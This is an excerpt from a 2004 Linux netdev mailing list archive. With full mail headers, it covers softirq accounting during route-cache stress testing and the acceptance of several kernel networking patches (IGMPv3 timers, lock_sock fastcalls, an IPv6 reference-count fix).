Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 22:44:03 -0800 (PST) Received: from yakov.inr.ac.ru ([194.67.69.111]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i316i0KO023133 for ; Wed, 31 Mar 2004 22:44:01 -0800 Received: (from kuznet@localhost) by yakov.inr.ac.ru (8.6.13/ANK) id KAA08190; Thu, 1 Apr 2004 10:43:45 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200404010643.KAA08190@yakov.inr.ac.ru> Subject: Re: route cache DoS testing and softirqs To: andrea@suse.de (Andrea Arcangeli) Date: Thu, 1 Apr 2004 10:43:45 +0400 (MSD) Cc: Robert.Olsson@data.slu.se (Robert Olsson), dipankar@in.ibm.com (Dipankar Sarma), davem@redhat.com (David S. Miller), kuznet@ms2.inr.ac.ru, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, paulmck@us.ibm.com, akpm@osdl.org In-Reply-To: <20040331225259.GT2143@dualathlon.random> from "Andrea Arcangeli" at Apr 01, 2004 12:52:59 AM X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 4416 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Content-Length: 1270 Lines: 28 Hello! > I didn't focus much on the irq count, but now that I look at it, it > looks like the biggest source of softirq in irq context is the timer > irq, not the network irq. That explains the problem and why NAPI > couldn't avoid the softirq load in irq context, NAPI avoids the network > irqs, but the softirqs keeps running in irq context. > > So lowering HZ to 100 should mitigate the problem significantly. Plus local_bh_enable(), which was actually the first source discovered by Robert year ago. It does not contribute now, but Robert could turn it on starting some non-trivial process context workload. We have lots of places where we do local_bh_disable/enable() several times in row and each of them triggers full do_softirq() run without schedule() in between. See? The thing which I want to say is: source of do_softirq() does not matter. All of them happening outside of ksoftirqd are equally bad, unaccountable, uncontrollable and will show up in some situation. What's about some accounting do_softirq() in some way as a starting point? F.e. one way is to account all timer ticks happened while do_softirq() to ksoftirqd instead of current process (I am not sure that this is even possible without race conditions). Or something like that. Alexey From davem@redhat.com Wed Mar 31 23:03:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 23:03:36 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i3173QKO024035 for ; Wed, 31 Mar 2004 23:03:26 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i3173Pjj014930; Thu, 1 Apr 2004 02:03:25 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i3173Pj16253; Thu, 1 Apr 2004 02:03:25 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i3172n1n016639; Thu, 1 Apr 2004 02:03:04 -0500 Date: Wed, 31 Mar 2004 23:02:31 -0800 From: "David S. Miller" To: David Stevens Cc: netdev@oss.sgi.com Subject: Re: [PATCH] fix IGMPv3 timer initialization when device not "upped" Message-Id: <20040331230231.5ab14fa8.davem@redhat.com> In-Reply-To: References: <20040330192558.1d9c8eb2.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4417 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 347 Lines: 12 On Wed, 31 Mar 2004 23:10:22 -0700 David Stevens wrote: > netdev-bounce@oss.sgi.com wrote on 03/30/2004 07:25:58 PM: > > > Applied, thanks David. Can I have a 2.4.x variant under seperate > > cover please? I did the "mc_initted" thing there too. > > Dave, > Here's a 2.4.x version of the patch. Applied, thanks. From davem@redhat.com Wed Mar 31 23:08:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 23:08:03 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i31781KO024468 for ; Wed, 31 Mar 2004 23:08:01 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i3177wjj016178; Thu, 1 Apr 2004 02:07:58 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i3177wj17027; Thu, 1 Apr 2004 02:07:58 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i3177a1n017664; Thu, 1 Apr 2004 02:07:36 -0500 Date: Wed, 31 Mar 2004 23:07:17 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] make lock/release_sock fast calls Message-Id: <20040331230717.27c77994.davem@redhat.com> In-Reply-To: <20040331112407.66309027@dell_ss3.pdx.osdl.net> References: <20040331112407.66309027@dell_ss3.pdx.osdl.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4418 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 441 Lines: 12 On Wed, 31 Mar 2004 11:24:07 -0800 Stephen Hemminger wrote: > lock_sock and release_sock are no longer inline, but they are called in > the critical path of many operations, so it makes sense to use register based > fastcall. I think I'll add this change when 2.6.6 opens up. Someone haggled about CONFIG_REGPARM, but that argument is crap. We have "FASTCALL()" for a reason, and CONFIG_REGPARM does not obviate it. From davem@redhat.com Wed Mar 31 23:12:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 23:13:00 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i317CuKO029731 for ; Wed, 31 Mar 2004 23:12:57 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i317Ctjj017734; Thu, 1 Apr 2004 02:12:55 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i317Ctj18117; Thu, 1 Apr 2004 02:12:55 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i317CX1n019042; Thu, 1 Apr 2004 02:12:34 -0500 Date: Wed, 31 Mar 2004 23:12:15 -0800 From: "David S. Miller" To: Nivedita Singhvi Cc: netdev@oss.sgi.com Subject: Re: [PATCH 2.6] reference count cleanup continued -IPv6 Message-Id: <20040331231215.054f8a9a.davem@redhat.com> In-Reply-To: <406AE4AC.6020309@us.ibm.com> References: <406AE4AC.6020309@us.ibm.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4419 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 404 Lines: 14 On Wed, 31 Mar 2004 07:33:00 -0800 Nivedita Singhvi wrote: > Continuing the reference count clean up, this time > in tcp_v6_rcv(). We should not be doing a sock_put() > on a socket in TIMEWAIT state. > > Applies to 2.6.4. Should apply to current bits as > well. Applied, thanks Nivedita. I've also coded up a 2.4.x variant, but you can feel free to do this for me in the future :-)